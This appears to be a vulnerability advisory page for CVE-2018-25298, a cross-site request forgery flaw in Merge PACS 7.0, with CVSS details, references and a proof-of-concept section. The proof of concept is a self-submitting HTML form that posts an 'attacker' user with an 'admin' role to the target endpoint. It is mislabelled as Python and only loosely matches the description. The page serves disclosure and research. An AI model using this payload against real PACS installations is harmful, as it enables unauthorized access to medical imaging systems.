CVE-2018-25298

Description

Merge PACS 7.0 contains a cross-site request forgery vulnerability that allows attackers to perform unauthorized actions by crafting malicious HTML forms targeting the merge-viewer endpoint. Attackers can submit POST requests to /servlet/actions/merge-viewer/summary with login credentials to hijack user sessions and gain unauthorized access to the PACS system.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Merge PACS 7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2018-25298 -->
<!-- This HTML code demonstrates how an attacker can craft a malicious form -->
<html>
  <body>
    <form action="http://target-ip/servlet/actions/merge-viewer/summary" method="POST">
      <input type="hidden" name="username" value="attacker" />
      <input type="hidden" name="role" value="admin" />
      <input type="submit" value="Click Me!" />
    </form>
    <script>
      // Automatically submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25298
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25298
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25298/
[4] VulDB https://vuldb.com/cve/CVE-2018-25298
[5] http://www.merge.com/
[6] https://www.exploit-db.com/exploits/44681
[7] https://www.vulncheck.com/advisories/merge-pacs-cross-site-request-forgery-via-merge-viewer

Raw JSON Data

JSON

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